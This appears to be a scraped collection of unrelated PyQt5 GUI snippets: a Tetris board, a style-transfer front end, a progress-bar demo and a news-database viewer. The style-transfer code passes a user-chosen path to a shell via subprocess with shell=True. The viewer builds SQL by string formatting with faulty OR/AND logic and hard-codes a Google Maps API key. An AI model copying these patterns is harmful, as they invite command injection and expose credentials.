        self.timer.start(Board.Speed, self)


    def pause(self):

        if not self.isStarted:
            return

        self.isPaused = not self.isPaused

        if self.isPaused:
            self.timer.stop()
            self.msg2Statusbar.emit("paused")

        else:
            self.timer.start(Board.Speed, self)
            self.msg2Statusbar.emit(str(self.numLinesRemoved))

        self.update()


    def paintEvent(self, event):

        painter = QPainter(self)
        rect = self.contentsRect()

        boardTop = rect.bottom() - Board.BoardHeight * self.squareHeight()

        for i in range(Board.BoardHeight):
            for j in range(Board.BoardWidth):
                shape = self.shapeAt(j, Board.BoardHeight - i - 1)

                if shape != Tetrominoe.NoShape:
                    self.drawSquare(painter,
                        rect.left() + j * self.squareWidth(),
                        boardTop + i * self.squareHeight(), shape)

        if self.curPiece.shape() != Tetrominoe.NoShape:

            for i in range(4):

                x = self.curX + self.curPiece.x(i)
                y = self.curY - self.curPiece.y(i)
                self.drawSquare(painter, rect.left() + x * self.squareWidth(),
                    boardTop + (Board.BoardHeight - y - 1) * self.squareHeight(),
                    self.curPiece.shape())


    def keyPressEvent(self, event):

        if not self.isStarted or self.curPiece.shape() == Tetrominoe.NoShape:
            super(Board, self).keyPressEvent(event)
            return

        key = event.key()

        if key == Qt.Key_P:
            self.pause()
            return

        if self.isPaused:
            return

        elif key == Qt.Key_Left:
            self.tryMove(self.curPiece, self.curX - 1, self.curY)

        elif key == Qt.Key_Right:
            self.tryMove(self.curPiece, self.curX + 1, self.curY)

        elif key == Qt.Key_Down:
            self.tryMove(self.curPiece.rotateRight(), self.curX, self.curY)

        elif key == Qt.Key_Up:
            self.tryMove(self.curPiece.rotateLeft(), self.curX, self.curY)

        elif key == Qt.Key_Space:
            self.dropDown()

        elif key == Qt.Key_D:
            self.oneLineDown()

        else:
            super(Board, self).keyPressEvent(event)


    def timerEvent(self, event):

        if event.timerId() == self.timer.timerId():

            if self.isWaitingAfterLine:
                self.isWaitingAfterLine = False
                self.newPiece()
            else:
                self.oneLineDown()

        else:
            super(Board, self).timerEvent(event)


    def clearBoard(self):

        for i in range(Board.BoardHeight * Board.BoardWidth):
            self.board.append(Tetrominoe.NoShape)


    def dropDown(self):

        newY = self.curY

        while newY > 0:

            if not self.tryMove(self.curPiece, self.curX, newY - 1):
                break

            newY -= 1

        self.pieceDropped()


    def oneLineDown(self):

        if not self.tryMove(self.curPiece, self.curX, self.curY - 1):
            self.pieceDropped()


    def pieceDropped(self):

        for i in range(4):

            x = self.curX + self.curPiece.x(i)
            y = self.curY - self.curPiece.y(i)
            self.setShapeAt(x, y, self.curPiece.shape())

        self.removeFullLines()

        if not self.isWaitingAfterLine:
            self.newPiece()


    def removeFullLines(self):

        numFullLines = 0
        rowsToRemove = []

        for i in range(Board.BoardHeight):

            n = 0
            for j in range(Board.BoardWidth):
                if not self.shapeAt(j, i) == Tetrominoe.NoShape:
                    n = n + 1

            if n == 10:
                rowsToRemove.append(i)

        rowsToRemove.reverse()


        for m in rowsToRemove:

            for k in range(m, Board.BoardHeight):
                for l in range(Board.BoardWidth):
                        self.setShapeAt(l, k, self.shapeAt(l, k + 1))

        numFullLines = numFullLines + len(rowsToRemove)

        if numFullLines > 0:

            self.numLinesRemoved = self.numLinesRemoved + numFullLines
            self.msg2Statusbar.emit(str(self.numLinesRemoved))

            self.isWaitingAfterLine = True
            self.curPiece.setShape(Tetrominoe.NoShape)
            self.update()


    def newPiece(self):

        self.curPiece = Shape()
        self.curPiece.setRandomShape()
        self.curX = Board.BoardWidth // 2 + 1
        self.curY = Board.BoardHeight - 1 + self.curPiece.minY()

        if not self.tryMove(self.curPiece, self.curX, self.curY):

            self.curPiece.setShape(Tetrominoe.NoShape)
            self.timer.stop()
            self.isStarted = False
            self.msg2Statusbar.emit("Game over")



    def tryMove(self, newPiece, newX, newY):

        for i in range(4):

            x = newX + newPiece.x(i)
            y = newY - newPiece.y(i)

            if x < 0 or x >= Board.BoardWidth or y < 0 or y >= Board.BoardHeight:
                return False

            if self.shapeAt(x, y) != Tetrominoe.NoShape:
                return False

        self.curPiece = newPiece
        self.curX = newX
        self.curY = newY
        self.update()

        return True


    def drawSquare(self, painter, x, y, shape):

        colorTable = [0x000000, 0xCC6666, 0x66CC66, 0x6666CC,
                      0xCCCC66, 0xCC66CC, 0x66CCCC, 0xDAAA00]

        color = QColor(colorTable[shape])
        painter.fillRect(x + 1, y + 1, self.squareWidth() - 2,
            self.squareHeight() - 2, color)

        painter.setPen(color.lighter())
        painter.drawLine(x, y + self.squareHeight() - 1, x, y)
        painter.drawLine(x, y, x + self.squareWidth() - 1, y)

        painter.setPen(color.darker())
        painter.drawLine(x + 1, y + self.squareHeight() - 1,
            x + self.squareWidth() - 1, y + self.squareHeight() - 1)
        painter.drawLine(x + self.squareWidth() - 1,
            y + self.squareHeight() - 1, x + self.squareWidth() - 1, y + 1)
Exemple #53
0
class myPreDefined(QWidget):
    def __init__(self):
        super(QWidget, self).__init__()
        self.style = [
            "style1", "style2", "style3", "style4", "style5", "style6",
            "style7", "style8", "style9"
        ]
        self.picPath = [
            "pics/style1.jpg", "pics/style2.jpg", "pics/style3.jpg",
            "pics/style4.jpg", "pics/style5.jpg", "pics/style6.jpg",
            "pics/style7.jpg", "pics/style8.jpg", "pics/style9.jpg"
        ]
        self.stylePath = [
            "pretrained_model/style1", "pretrained_model/style2",
            "pretrained_model/style3", "pretrained_model/style4",
            "pretrained_model/style5", "pretrained_model/style6",
            "pretrained_model/style7", "pretrained_model/style8",
            "pretrained_model/style9"
        ]
        self.nStyle = len(self.style)
        self.initUI()

    def initUI(self):
        self.inputPic = myImageViewer("pics/default.png", 400, 300)
        self.outputPic = myImageResult("pics/default_null.png", 400, 300)
        self.defaultInpath = self.inputPic.getImagePath()

        self.VBoxGroups = []
        for i in range(self.nStyle):
            self.VBoxGroups.append(
                preStyle(self, i + 1, self.style[i], self.picPath[i], 200,
                         200))

        self.HBoxGroupScroll = QGroupBox()
        self.HBox1 = QHBoxLayout()
        self.HBox1.addStretch(1)
        for group in self.VBoxGroups:
            self.HBox1.addWidget(group)
            self.HBox1.addStretch(1)
        self.HBoxGroupScroll.setLayout(self.HBox1)

        self.transButton = QPushButton('Transfer')
        self.transButton.setFixedSize(80, 20)
        self.transButton.clicked.connect(self.transfer)
        self.shareButton = QPushButton('Share')
        self.shareButton.setFixedSize(80, 20)
        self.shareButton.clicked.connect(self.share)
        self.shareButton.setDisabled(True)
        self.timer = QBasicTimer()
        self.step = 0

        self.HBoxGroupButton = QGroupBox()
        self.HBoxButton = QHBoxLayout()
        self.HBoxButton.addStretch(1)
        self.HBoxButton.addWidget(self.transButton)
        self.HBoxButton.addStretch(1)
        self.HBoxButton.addWidget(self.shareButton)
        self.HBoxButton.addStretch(1)
        self.HBoxGroupButton.setLayout(self.HBoxButton)

        self.progBar = QProgressBar()
        self.progBar.setFixedSize(500, 10)
        self.HBoxGroupBar = QGroupBox()
        self.HBoxBar = QHBoxLayout()
        self.HBoxBar.addStretch(1)
        self.HBoxBar.addWidget(self.progBar)
        self.HBoxBar.addStretch(1)
        self.HBoxGroupBar.setLayout(self.HBoxBar)

        self.scroll = QScrollArea()
        self.scroll.setWidget(self.HBoxGroupScroll)
        self.scroll.setAutoFillBackground(True)
        self.scroll.setWidgetResizable(True)
        #self.HBoxGroupUp = QGroupBox()
        #self.HBoxUp = QHBoxLayout()
        #self.HBoxUp.addWidget(self.scroll)
        #self.HBoxGroupUp.setLayout(self.HBoxUp)

        self.HBoxGroupDown = QGroupBox()
        self.HBox2 = QHBoxLayout()
        self.HBox2.addStretch(1)
        self.HBox2.addWidget(self.inputPic)
        self.HBox2.addStretch(1)
        self.HBox2.addWidget(self.outputPic)
        self.HBox2.addStretch(1)
        self.HBoxGroupDown.setLayout(self.HBox2)

        self.VBox = QVBoxLayout()
        self.VBox.addStretch(1)
        self.VBox.addWidget(self.scroll)
        self.VBox.addStretch(1)
        self.VBox.addWidget(self.HBoxGroupBar)
        self.VBox.addStretch(1)
        self.VBox.addWidget(self.HBoxGroupDown)
        self.VBox.addStretch(1)
        self.VBox.addWidget(self.HBoxGroupButton)
        self.VBox.addStretch(1)
        self.setLayout(self.VBox)

    def transfer(self):
        global flag
        if flag == 0:
            reply = QMessageBox.warning(self, "ERROR",
                                        "Please choose a style!",
                                        QMessageBox.Ok, QMessageBox.Ok)
            return
        if self.inputPic.getImagePath() == self.defaultInpath:
            reply = QMessageBox.warning(self, "ERROR",
                                        "Please choose a input image!",
                                        QMessageBox.Ok, QMessageBox.Ok)
            return
        if not self.timer.isActive():
            self.inpath = self.inputPic.getImagePath()
            self.outpath = "result/result.jpg"
            self.style = self.stylePath[flag - 1]
            self.shareButton.setDisabled(True)
            self.timer.start(100, self)
            self.ps = subprocess.Popen("python3 eval_pretrained.py " +
                                       self.inpath + " " + self.outpath + " " +
                                       self.style,
                                       shell=True)

    def timerEvent(self, a):
        if self.step >= 100:
            self.timer.stop()
            self.shareButton.setDisabled(False)
            self.step = 0
            return
        self.step += 0.2
        if self.ps.poll() is not None:
            self.step = 100
            self.outputPic.changeImage(self.outpath)
        self.progBar.setValue(self.step)

    def share(self):
        pass
Exemple #54
0
class Example(QMainWindow):
    def __init__(self):
        super().__init__()

        self.initUI()

    def initUI(self):

        self.pbar = QProgressBar(self)
        self.pbar.setGeometry(120, 150, 250, 20)

        self.btn = QPushButton('Start', self)
        self.btn.move(200, 180)
        self.btn.clicked.connect(self.doAction)

        sld = QSlider(Qt.Horizontal, self)
        sld.setFocusPolicy(Qt.NoFocus)
        sld.setGeometry(120, 120, 250, 30)

        self.timer = QBasicTimer()
        self.step = 0

        AccionSalida = QAction(QIcon('pngegg.png'), 'Exit', self)
        AccionSalida.setShortcut('Ctrl+Q')
        AccionSalida.setStatusTip('Exit')
        AccionSalida.triggered.connect(self.close)

        self.statusBar()

        BarraMenu = self.menuBar()
        MenuArchivo = BarraMenu.addMenu('&File')
        MenuArchivo.addAction(AccionSalida)

        BarraHerramienta = QAction(QIcon('pngegg.png'), 'Exit', self)
        BarraHerramienta.setShortcut('Ctrl+Q')
        BarraHerramienta.triggered.connect(qApp.quit)

        self.toolbar = self.addToolBar('Exit')
        self.toolbar.addAction(BarraHerramienta)

        self.setGeometry(800, 800, 500, 400)
        self.setWindowTitle('Ventana Principal')
        self.show()

    def timerEvent(self, e):

        if self.step >= 100:
            self.timer.stop()
            self.btn.setText('Finished')
            return

        self.step = self.step + 1
        self.pbar.setValue(self.step)

    def doAction(self):

        if self.timer.isActive():
            self.timer.stop()
            self.btn.setText('Start')
        else:
            self.timer.start(100, self)
            self.btn.setText('Stop')
Exemple #55
0
class Ui_Form(object):
    def setupUi(self, Form):
        Form.setObjectName("Form")
        Form.resize(1014, 664)
        dekstop = QtWidgets.QApplication.desktop()
        x = (dekstop.width() - Form.width()) // 2
        y = (dekstop.height() - Form.height() - 200) // 2
        Form.move(x,y)

        self.frame = QtWidgets.QFrame(Form)
        self.frame.setGeometry(QtCore.QRect(0, 0, 831, 401))
        self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel)
        self.frame.setFrameShadow(QtWidgets.QFrame.Raised)
        self.frame.setObjectName("frame")

        self.browser = Web(self.frame)
        ur = QUrl("file:/home/myroslav/PycharmProjects/bakal/mymap.html")
        self.browser.load(ur)
        self.browser.setGeometry(QtCore.QRect(1, 1, 830, 400))
        self.browser.setObjectName("WebView")

        self.frame_2 = QtWidgets.QFrame(Form)
        self.frame_2.setGeometry(QtCore.QRect(840, 0, 171, 401))
        self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel)
        self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised)
        self.frame_2.setObjectName("frame_2")
        self.label_5 = QtWidgets.QLabel(self.frame_2)
        self.label_5.setGeometry(QtCore.QRect(10, 8, 151, 20))
        self.label_5.setObjectName("label_5")
        self.frame_5 = QtWidgets.QFrame(self.frame_2)
        self.frame_5.setGeometry(QtCore.QRect(6, 33, 161, 145))
        self.frame_5.setFrameShape(QtWidgets.QFrame.StyledPanel)
        self.frame_5.setFrameShadow(QtWidgets.QFrame.Raised)
        self.frame_5.setObjectName("frame_5")
        self.label_4 = QtWidgets.QLabel(self.frame_5)
        self.label_4.setGeometry(QtCore.QRect(12, 6, 141, 20))
        self.label_4.setObjectName("label_4")
        self.checkBox = QtWidgets.QCheckBox(self.frame_5)
        self.checkBox.setGeometry(QtCore.QRect(8, 34, 93, 25))
        self.checkBox.setObjectName("checkBox")
        self.checkBox_2 = QtWidgets.QCheckBox(self.frame_5)
        self.checkBox_2.setGeometry(QtCore.QRect(8, 70, 93, 25))
        self.checkBox_2.setObjectName("checkBox_2")
        self.checkBox_3 = QtWidgets.QCheckBox(self.frame_5)
        self.checkBox_3.setGeometry(QtCore.QRect(8, 106, 93, 25))
        self.checkBox_3.setObjectName("checkBox_3")
        self.frame_4 = QtWidgets.QFrame(self.frame_2)
        self.frame_4.setGeometry(QtCore.QRect(5, 184, 161, 101))
        self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel)
        self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised)
        self.frame_4.setObjectName("frame_4")
        self.label_3 = QtWidgets.QLabel(self.frame_4)
        self.label_3.setGeometry(QtCore.QRect(9, 1, 131, 20))
        self.label_3.setObjectName("label_3")

        self.dateEdit_3 = QtWidgets.QDateEdit(self.frame_4)
        self.dateEdit_3.setGeometry(QtCore.QRect(33, 25, 121, 32))
        self.dateEdit_3.setObjectName("dateEdit_3")
        b = datetime.date.today().year
        b1 = datetime.date.today().month
        b2 = datetime.date.today().day

        self.dateEdit_3.setDisplayFormat("dd - MM - yyyy")
        self.dateEdit_3.setDate(QtCore.QDate(b, b1, b2))
        self.dateEdit_3.setDateRange(QtCore.QDate(2017,1,1),QtCore.QDate(b, b1, b2))

        self.dateEdit_4 = QtWidgets.QDateEdit(self.frame_4)
        self.dateEdit_4.setGeometry(QtCore.QRect(34, 61, 121, 32))
        self.dateEdit_4.setObjectName("dateEdit_4")
        self.dateEdit_4.setDisplayFormat("dd - MM - yyyy")
        self.dateEdit_4.setDate(QtCore.QDate(b, b1, b2))
        self.dateEdit_4.setDateRange(QtCore.QDate(2017,1,1),QtCore.QDate(b, b1, b2))

        self.label = QtWidgets.QLabel(self.frame_4)
        self.label.setGeometry(QtCore.QRect(10, 32, 31, 21))
        self.label.setObjectName("label")
        self.label_2 = QtWidgets.QLabel(self.frame_4)
        self.label_2.setGeometry(QtCore.QRect(10, 61, 31, 31))
        self.label_2.setObjectName("label_2")
        self.label_3.raise_()
        self.label.raise_()
        self.label_2.raise_()
        self.label_3.raise_()
        self.dateEdit_3.raise_()
        self.dateEdit_4.raise_()
        self.label.raise_()
        self.label_2.raise_()
        self.frame_6 = QtWidgets.QFrame(self.frame_2)
        self.frame_6.setGeometry(QtCore.QRect(5, 292, 161, 101))
        self.frame_6.setFrameShape(QtWidgets.QFrame.StyledPanel)
        self.frame_6.setFrameShadow(QtWidgets.QFrame.Raised)
        self.frame_6.setObjectName("frame_6")
        self.pushButton_2 = QtWidgets.QPushButton(self.frame_6)
        self.pushButton_2.setGeometry(QtCore.QRect(5, 68, 72, 28))
        self.pushButton_2.setObjectName("pushButton_2")

        self.pushButton_3 = QtWidgets.QPushButton(self.frame_6)
        self.pushButton_3.setGeometry(QtCore.QRect(83, 67, 72, 28))
        self.pushButton_3.setObjectName("pushButton_3")


        self.pushButton = QtWidgets.QPushButton(self.frame_6)
        self.pushButton.setGeometry(QtCore.QRect(5, 6, 151, 28))
        self.pushButton.setAutoDefault(False)
        self.pushButton.setObjectName("pushButton")
        self.pushButton.clicked.connect(self.Event_Refresh_DB)
        self.pushButton.clicked.connect(self.Event_Progress_Bar)

        self.progressBar = QtWidgets.QProgressBar(self.frame_6)
        self.progressBar.setGeometry(QtCore.QRect(4, 40, 151, 23))
        self.progressBar.setProperty("value", 0)
        self.progressBar.setTextVisible(True)
        self.progressBar.setInvertedAppearance(False)
        self.progressBar.setObjectName("progressBar")

        self.pushButton.raise_()
        self.progressBar.raise_()
        self.pushButton_2.raise_()
        self.pushButton_2.raise_()
        self.pushButton_3.raise_()
        self.pushButton_3.raise_()
        self.pushButton.raise_()
        self.progressBar.raise_()

        self.frame_3 = QtWidgets.QFrame(Form)
        self.frame_3.setGeometry(QtCore.QRect(0, 410, 1011, 251))
        self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel)
        self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised)
        self.frame_3.setObjectName("frame_3")

        self.scrollAreaWidgetContents = QtWidgets.QWidget()
        self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 974, 342))
        self.scrollAreaWidgetContents.setObjectName("scrollAreaWidgetContents")

        self.gridLayout = QtWidgets.QGridLayout(self.frame_3)
        self.gridLayout.setContentsMargins(10, 10, 10, 10)
        self.gridLayout.setSpacing(5)
        self.gridLayout.setObjectName("gridLayout")

        self.gridLayout_2 = QtWidgets.QGridLayout(self.scrollAreaWidgetContents)
        self.gridLayout_2.setContentsMargins(5, 7, 5, 5)
        self.gridLayout_2.setSpacing(10)
        self.gridLayout_2.setObjectName("gridLayout_2")
        #self.gridLayout_2.setRowMinimumHeight(0,100)

        self.scrollArea = QtWidgets.QScrollArea(self.frame_3)
        self.scrollArea.setLineWidth(1)
        self.scrollArea.setGeometry(QtCore.QRect(0, 0, 1010, 250))
        self.scrollArea.setObjectName("scrollArea")

        self.scrollArea.setWidget(self.scrollAreaWidgetContents)
        self.gridLayout.addWidget(self.scrollArea, 0, 1, 1, 1)

        self.pushButton_2.clicked.connect(self.create_text)
        self.pushButton_3.clicked.connect(self.clear_text)
        QtCore.QMetaObject.connectSlotsByName(Form)
        self.retranslateUi(Form)
        # self.textEdit_5.mouseDoubleClickEvent = self.web
    def create_text(self):
        self.TextEditContainer = []

        dat = self.Current_date()
        datt = []
        for i in range(dat.__len__()):
            if dat[i][-2] == '0':
                datt.append([dat[i][-1] + dat[i][4:6] + dat[i][2:4] + '0000',
                             dat[i][-1] + dat[i][4:6] + dat[i][2:4] + '2460'])
            else:
                datt.append([dat[i][6:8] + dat[i][4:6] + dat[i][2:4] + '0000',
                             dat[i][6:8] + dat[i][4:6] + dat[i][2:4] + '2460'])

        self.con = sqlite3.connect('All_Pars_BD.db3')
        self.cur = self.con.cursor()
        dd = self.cur.execute("SELECT name FROM sqlite_master WHERE name='main'").fetchone()
        if not dd: print("Базу даних з вхідним текстом не знайдено")

        Cenzor_status = self.checkBox.checkState()
        ZelvRU_status = self.checkBox_2.checkState()
        ZelvUA_status = self.checkBox_3.checkState()

        All = [Cenzor_status,ZelvRU_status,ZelvUA_status]
        tx = []


        if All ==[0,2,2] :
            self.domain = ['ЗелвРУ','ЗелвЮА']
            for i in range(datt.__len__()):
                self.cur.execute(
                    "SELECT title,date,body,domain,link FROM main WHERE domain = '{0}' or domain = '{1}' and date BETWEEN {2} and {3} ORDER BY date".format(
                        self.domain[0],self.domain[1], datt[i][0], datt[i][1]))
                tx += self.cur.fetchall()
            self.con.close()
            tx = [list(tx[i]) for i in range(tx.__len__())]

        if All ==[2,0,2] :
            self.domain = ['ЗелвЮА','Цензор']
            for i in range(datt.__len__()):
                self.cur.execute(
                    "SELECT title,date,body,domain,link FROM main WHERE domain = '{0}' or domain = '{1}' and date BETWEEN {2} and {3} ORDER BY date".format(
                        self.domain[0],self.domain[1], datt[i][0], datt[i][1]))
                tx += self.cur.fetchall()
            self.con.close()
            tx = [list(tx[i]) for i in range(tx.__len__())]
        if All ==[2,2,0] :
            self.domain = ['ЗелвРУ','Цензор']
            for i in range(datt.__len__()):
                self.cur.execute(
                    "SELECT title,date,body,domain,link FROM main WHERE domain = '{0}' or domain = '{1}' and date BETWEEN {2} and {3} ORDER BY date".format(
                        self.domain[0],self.domain[1], datt[i][0], datt[i][1]))
                tx += self.cur.fetchall()
            self.con.close()
            tx = [list(tx[i]) for i in range(tx.__len__())]

        if All ==[2,2,2] :
            self.domain = ['ЗелвЮА','ЗелвРУ','Цензор']
            for i in range(datt.__len__()):
                self.cur.execute(
                    "SELECT title,date,body,domain,link FROM main WHERE domain = '{0}' or domain = '{1}' or domain = '{2}'and date BETWEEN {3} and {4} ORDER BY date".format(
                        self.domain[0],self.domain[1],self.domain[2], datt[i][0], datt[i][1]))
                tx += self.cur.fetchall()
            self.con.close()
            tx = [list(tx[i]) for i in range(tx.__len__())]

        if All ==[0,0,2] :
            self.domain = 'ЗелвЮА'
            for i in range(datt.__len__()):
                self.cur.execute(
                    "SELECT title,date,body,domain,link FROM main WHERE domain = '{0}' and date BETWEEN {1} and {2} ORDER BY date".format(
                        self.domain, datt[i][0], datt[i][1]))
                tx += self.cur.fetchall()
            self.con.close()
            tx = [list(tx[i]) for i in range(tx.__len__())]

        if All == [0, 2, 0]:
            self.domain = 'ЗелвРУ'
            for i in range(datt.__len__()):
                self.cur.execute(
                    "SELECT title,date,body,domain,link FROM main WHERE domain = '{0}' and date BETWEEN {1} and {2} ORDER BY date".format(
                        self.domain, datt[i][0], datt[i][1]))
                tx += self.cur.fetchall()
            self.con.close()
            tx = [list(tx[i]) for i in range(tx.__len__())]

        if All == [2, 0, 0]:
            self.domain = 'Цензор'
            for i in range(datt.__len__()):
                self.cur.execute(
                "SELECT title,date,body,domain,link FROM main WHERE domain = '{0}' and date BETWEEN {1} and {2} ORDER BY date".format(self.domain,datt[i][0],datt[i][1]))
                tx += self.cur.fetchall()
            self.con.close()
            tx = [ list(tx[i]) for i in range(tx.__len__())]

        if All == [0, 0, 0]:
            print('Виберіть ресурс')

        for i in range(tx.__len__()):
            tx[i][0] = str(tx[i][0]).replace('\xa0','')
            #tx[i] = '\n\n'.join(tx[i])
            #print(tx[i])

        row = math.ceil(len(tx)/3)
        i=0
        for x in range(row):
            for y in range(3):
                self.TextEditContainer.append(QtWidgets.QTextEdit(self.scrollAreaWidgetContents))
                self.TextEditContainer[-1].setObjectName("textEdit{0}".format(i))
                self.TextEditContainer[-1].setFixedSize(320, 300)
                self.TextEditContainer[-1].setTextInteractionFlags(QtCore.Qt.NoTextInteraction)
                self.TextEditContainer[-1].setFont(QtGui.QFont("Calibri",9, QtGui.QFont.Bold))
                #self.TextEditContainer[-1].setText('\n\n\n')
                try:
                    t = str(tx[i][1])
                    t = "{0}.{1} о {2}:{3}".format(t[:-8], t[-8:-6], t[-4:-2], t[-2:])
                except: continue

                self.TextEditContainer[-1].setText('   {0}\t    {1}\n   {2}\n\n   {3}'.format(t,tx[i][3],tx[i][0],tx[i][2]))

                self.TextEditContainer[-1].mouseDoubleClickEvent = lambda event,url = tx[i][4]:self.web(event,url)#tx[i][4])
                self.gridLayout_2.addWidget(self.TextEditContainer[-1], x, y, 1, 1)
                i += 1

    def clear_text(self):
        [self.TextEditContainer[i].deleteLater() for i in range(self.TextEditContainer.__len__())]
    def web(self, event,url):

        import webbrowser
        webbrowser.open(url)




    def retranslateUi(self, Form):
        _translate = QtCore.QCoreApplication.translate
        Form.setWindowTitle(_translate("Form", "Form"))
        self.label_5.setText(_translate("Form", "Панель налаштування"))
        self.label_4.setText(_translate("Form", "Новинний ресурс"))
        self.checkBox.setText(_translate("Form", "Cenzor"))
        self.checkBox_2.setText(_translate("Form", "Zelv RU"))
        self.checkBox_3.setText(_translate("Form", "Zelv UA"))
        self.label_3.setText(_translate("Form", "Дата"))
        self.label.setText(_translate("Form", "З"))
        self.label_2.setText(_translate("Form", "По"))
        self.pushButton_2.setText(_translate("Form", "Вивід"))
        self.pushButton_3.setText(_translate("Form", "Очистка"))
        self.pushButton.setText(_translate("Form", "Оновлення БД"))
        self.progressBar.setFormat(_translate("Form", "%p%"))

    def Current_date(self):
        date = [self.dateEdit_3.date(), self.dateEdit_4.date()]
        date = [str(i)[18:].replace("(", '').replace(")", '').replace(" ", '').split(',') for i in date]
        for j in range(date.__len__()):
            for i in range(date[0].__len__()):
                if len(date[j][i]) == 1:
                    date[j][i] = "0" + date[j][i]
        start = ''.join(date[0])
        end = ''.join(date[1])
        dat = append_date(start, end)
        if dat == 'Помилка вводу':
            print("помилка вводу дати")
        return dat

    #@QtCore.pyqtSlot()

    def Event_Refresh_DB(self):

        dat = self.Current_date()
        Cenzor_status = self.checkBox.checkState()
        ZevlRU_status = self.checkBox_2.checkState()
        ZelvUA_status = self.checkBox_3.checkState()


        if ZelvUA_status == 2:
            for i in range(dat.__len__()):
                dT = '{2}{1}{0}'.format(dat[i][:4],dat[i][4:6],dat[i][-2:])
                refr = ZelvUA().write_bd(dT)

        if ZevlRU_status == 2:
            for i in range(dat.__len__()):
                dT = '{2}{1}{0}'.format(dat[i][:4],dat[i][4:6],dat[i][-2:])
                refr = ZelvRU().write_bd(dT)

        if Cenzor_status == 2:
            for i in range(dat.__len__()):
                dT = '{0}-{1}-{2}'.format(dat[i][:4],dat[i][4:6],dat[i][-2:])
                refr = Cenzor().write_bd(dT)


    #@QtCore.pyqtSlot()
    def Event_Progress_Bar(self):

        active = Show_map('AIzaSyCOZ0t8PvYAnCPM5s6ZCiOngYr25C_oUy4')
        ur = QUrl("file:///home/myroslav/PycharmProjects/bakal/mymap.html")
        self.browser.load(ur)

        from PyQt5.QtCore import QBasicTimer
        self.timer = QBasicTimer()
        self.step = 0

        if self.timer.isActive():
                    self.timer.stop()
        else:
                    self.timer.start(100, self)

    def timerEvent(self, e):
            if self.step >= 100:
                self.timer.stop()
                return

            self.step = self.step + 1
            self.progressBar.setValue(self.step)
Exemple #56
0
class Ui_MainWindow(object):
    def setupUi(self, MainWindow):
        MainWindow.setObjectName("MainWindow")
        MainWindow.resize(960, 540)
        self.centralwidget = QtWidgets.QWidget(MainWindow)
        self.centralwidget.setObjectName("centralwidget")
        self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.centralwidget)
        self.verticalLayout_2.setObjectName("verticalLayout_2")
        self.verticalLayout = QtWidgets.QVBoxLayout()
        self.verticalLayout.setObjectName("verticalLayout")
        self.horizontalLayout = QtWidgets.QHBoxLayout()
        self.horizontalLayout.setObjectName("horizontalLayout")
        self.pushButton = QtWidgets.QPushButton(self.centralwidget)
        self.pushButton.setObjectName("pushButton")
        self.horizontalLayout.addWidget(self.pushButton)
        self.lineEdit = QtWidgets.QLineEdit(self.centralwidget)
        self.lineEdit.setObjectName("lineEdit")
        #开启拖拽
        self.setAcceptDrops(True)
        self.horizontalLayout.addWidget(self.lineEdit)
        self.verticalLayout.addLayout(self.horizontalLayout)
        self.horizontalLayout_3 = QtWidgets.QHBoxLayout()
        self.horizontalLayout_3.setObjectName("horizontalLayout_3")
        self.radioButton = QtWidgets.QRadioButton(self.centralwidget)
        self.radioButton.setObjectName("radioButton")
        self.horizontalLayout_3.addWidget(self.radioButton)
        self.radioButton_2 = QtWidgets.QRadioButton(self.centralwidget)
        self.radioButton_2.setChecked(True)
        self.radioButton_2.setAutoRepeat(False)
        self.radioButton_2.setObjectName("radioButton_2")
        self.horizontalLayout_3.addWidget(self.radioButton_2)
        self.radioButton_3 = QtWidgets.QRadioButton(self.centralwidget)
        self.radioButton_3.setEnabled(True)
        self.radioButton_3.setTabletTracking(False)
        self.radioButton_3.setAcceptDrops(False)
        self.radioButton_3.setAutoFillBackground(False)
        self.radioButton_3.setChecked(False)
        self.radioButton_3.setObjectName("radioButton_3")
        self.horizontalLayout_3.addWidget(self.radioButton_3)
        self.radioButton_4 = QtWidgets.QRadioButton(self.centralwidget)
        self.radioButton_4.setObjectName("radioButton_4")
        self.horizontalLayout_3.addWidget(self.radioButton_4)
        spacerItem = QtWidgets.QSpacerItem(40, 20,
                                           QtWidgets.QSizePolicy.Expanding,
                                           QtWidgets.QSizePolicy.Minimum)
        self.horizontalLayout_3.addItem(spacerItem)
        self.radioButton_5 = QtWidgets.QRadioButton(self.centralwidget)
        self.radioButton_5.setObjectName("radioButton_5")
        self.horizontalLayout_3.addWidget(self.radioButton_5)
        self.label = QtWidgets.QLabel(self.centralwidget)
        self.label.setObjectName("label")
        self.horizontalLayout_3.addWidget(self.label)
        self.lineEdit_2 = QtWidgets.QLineEdit(self.centralwidget)
        self.lineEdit_2.setObjectName("lineEdit_2")
        self.horizontalLayout_3.addWidget(self.lineEdit_2)
        self.verticalLayout.addLayout(self.horizontalLayout_3)
        self.textBrowser = QtWidgets.QTextBrowser(self.centralwidget)
        self.textBrowser.setObjectName("textBrowser")
        self.verticalLayout.addWidget(self.textBrowser)
        #进度条
        self.progressBar = QtWidgets.QProgressBar(self.centralwidget)
        self.progressBar.setProperty("value", 0)
        self.progressBar.setObjectName("progressBar")
        self.verticalLayout.addWidget(self.progressBar)
        #样式
        style = """
                        QProgressBar {
                            border-radius: 5px;
                            text-align: center;
                        }"""
        self.progressBar.setStyleSheet(style)
        self.textBrowser.append('注意事项:不要在爬取过程中关闭程序,会造成最终拷贝文件的不完整。需要手动删除。')

        #创建计时器
        self.timer = QBasicTimer()
        #初始时间
        self.timer.start(100, self)

        #右键清除
        self.textBrowser.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
        self.textBrowser.customContextMenuRequested[QtCore.QPoint].connect(
            self.right)

        self.horizontalLayout_2 = QtWidgets.QHBoxLayout()
        self.horizontalLayout_2.setObjectName("horizontalLayout_2")
        self.label_2 = QtWidgets.QLabel(self.centralwidget)
        self.label_2.setObjectName("label_2")
        self.horizontalLayout_2.addWidget(self.label_2)
        spacerItem1 = QtWidgets.QSpacerItem(128, 20,
                                            QtWidgets.QSizePolicy.Expanding,
                                            QtWidgets.QSizePolicy.Minimum)
        self.horizontalLayout_2.addItem(spacerItem1)

        self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget)
        self.pushButton_2.setObjectName("pushButton_2")
        self.horizontalLayout_2.addWidget(self.pushButton_2)
